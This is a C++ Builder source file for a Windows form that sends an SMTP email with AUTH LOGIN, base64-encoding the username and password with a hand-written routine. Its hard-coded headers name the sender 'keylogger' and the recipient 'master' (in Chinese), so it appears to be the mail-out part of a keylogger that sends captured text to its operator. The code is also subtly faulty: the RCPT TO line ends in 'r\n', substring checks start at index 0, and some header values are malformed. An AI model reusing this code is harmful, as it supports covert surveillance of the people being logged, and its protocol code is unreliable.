#include <vcl.h>
#pragma hdrstop
#include "UnitMain.h"
//---------------------------------------------------------------------------
#pragma package(smart_init)
#pragma resource "*.dfm"
TfrmMain *frmMain;
int sIndex=0;
AnsiString sData,rData;
//---------------------------------------------------------------------------
__fastcall TfrmMain::TfrmMain(TComponent* Owner)
: TForm(Owner)
{
}
AnsiString encode(AnsiString s)
{
int m_len;
int i;
int m_tmp;
AnsiString m_64code;
char *m_s;
char m_64[]="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
m_len=s.Length();
m_s=s.c_str();
m_64code="";
for(i=0;i<m_len-m_len%3;i+=3){
m_tmp=m_s[i]/4;
m_64code+=m_64[m_tmp];
m_tmp=m_s[i]%4*16 + m_s[i+1]/16;
m_64code+=m_64[m_tmp];
m_tmp=m_s[i+1]%16*4 + m_s[i+2]/64;
m_64code+=m_64[m_tmp];
m_tmp=m_s[i+2]%64;
m_64code+=m_64[m_tmp];
}
if(m_len%3==2){
m_tmp=m_s[m_len-2]/4;
m_64code+=m_64[m_tmp];
m_tmp=m_s[m_len-2]%4*16+m_s[m_len-1]/16;
m_64code+=m_64[m_tmp];
m_tmp=m_s[m_len-1]%16*4;
m_64code+=m_64[m_tmp];
m_64code+='=';
}
//如果字符串的长度被3除余1 ,不足的位数补0,尾部补两个“=”
if(m_len%3==1){
m_tmp=m_s[m_len-1]/4;
m_64code+=m_64[m_tmp];
m_tmp=m_s[m_len-1]%4*16;
m_64code+=m_64[m_tmp];
m_64code+="==";
}
return m_64code;
}
//-----------------------------------------------------------
void Log(AnsiString Msg="")
{
if(Msg=="") frmMain->mmoLog->Lines->Clear();
else frmMain->mmoLog->Lines->Append("["+Time().TimeString()+"] "+Msg);
}
//---------------------------------------------------------------------------
void __fastcall TfrmMain::FormCreate(TObject *Sender)
{
Log();
}
//---------------------------------------------------------------------------
//---------------------------------------------------------------------------
void __fastcall TfrmMain::btnLoginClick(TObject *Sender)
{
csckMail->Host=edtHost->Text;
csckMail->Port=25;
csckMail->Active=true;
}
//---------------------------------------------------------------------------
void __fastcall TfrmMain::csckMailConnecting(TObject *Sender,
TCustomWinSocket *Socket)
{
Log("正在连接远服务器:"+ edtHost->Text);
}
//---------------------------------------------------------------------------
void __fastcall TfrmMain::csckMailConnect(TObject *Sender,
TCustomWinSocket *Socket)
{
Log("连接成功...");
btnLogin->Enabled=false;
sData="EHLO Admin-User\r\n";
csckMail->Socket->SendBuf(sData.c_str(),sData.Length());
sIndex=0;
}
//---------------------------------------------------------------------------
void __fastcall TfrmMain::csckMailRead(TObject *Sender,
TCustomWinSocket *Socket)
{
char RECEVDATA[1024];
int recevlength=csckMail->Socket->ReceiveLength();
csckMail->Socket->ReceiveBuf(RECEVDATA,recevlength);
switch(sIndex)
{
case 0:
{
if(AnsiString(RECEVDATA).SubString(0,3)=="250")
{
Log("正在验证身份...");
sData="AUTH LOGIN\r\n";
csckMail->Socket->SendBuf(sData.c_str(),sData.Length());
sIndex=1;
}
break;
}
case 1: {
if(AnsiString(RECEVDATA).SubString(0,3)=="334")
{
Log("发送用户名...");
sData=encode(edtUser->Text)+"\r\n";
csckMail->Socket->SendBuf(sData.c_str(),sData.Length());
sIndex=2;
}
break;
}
case 2: {
if(AnsiString(RECEVDATA).SubString(0,3)=="334")
{
Log("发送密码...");
sData=encode(edtPwd->Text)+"\r\n";
csckMail->Socket->SendBuf(sData.c_str(),sData.Length());
sIndex=3;
}
break;
}
case 3: {
if(AnsiString(RECEVDATA).SubString(0,3)=="235")
{
Log("登录成功...");
sData="MAIL FROM: <"+edtFrom->Text+">\r\n";
csckMail->Socket->SendBuf(sData.c_str(),sData.Length());
sIndex=4;
}
break;
}
case 4: {
if(AnsiString(RECEVDATA).SubString(0,3)=="250")
{
sData="RCPT TO: <"+edtSendTo->Text+">r\n";
csckMail->Socket->SendBuf(sData.c_str(),sData.Length());
sIndex=5;
}
break;
}
case 5: {
if(AnsiString(RECEVDATA).SubString(0,3)=="250")
{
sData="Data\r\n";
csckMail->Socket->SendBuf(sData.c_str(),sData.Length());
sIndex=6;
}
break;
}
case 6: {
if(AnsiString(RECEVDATA).SubString(0,3)=="354")
{
sData="Date: "+Date().DateString() +" "+Time().FormatString("hh:mm:ss")+" +800\r\n";
sData+="From: \"键盘记录机\" <"+edtFrom->Text+">\r\n";
sData+="To: \"主人\" <"+edtSendTo->Text+">\r\n";
sData+="Subject: "+edtSubject->Text+"\r\n";
sData+="X-mailer: Foxmail1 5.0[cn]\r\n";
sData+="Mime-Version: 1.0\r\n";
sData+="Content-Type: text/plain;\r\n";
sData+="charset=\"gb2312\"\r\n";
sData+="Content-Transfer-Encoding: bit\r\n\r\n";
csckMail->Socket->SendBuf(sData.c_str(),sData.Length());
sData=mmoBody->Lines->Text+"\r\n";
csckMail->Socket->SendBuf(sData.c_str(),sData.Length());
sData="\r\n.\r\n";
csckMail->Socket->SendBuf(sData.c_str(),sData.Length());
sIndex=7;
}
break;
}
case 7: {
if(AnsiString(RECEVDATA).SubString(0,3)=="250")
{
sData="QUIT\r\n";
csckMail->Socket->SendBuf(sData.c_str(),sData.Length());
Log("发送成功...");
csckMail->Active=false;
btnLogin->Enabled=true;
Log("断开连接...");
sIndex=0;
}
break;
}
} //end switch
//Log(sData);
}//End function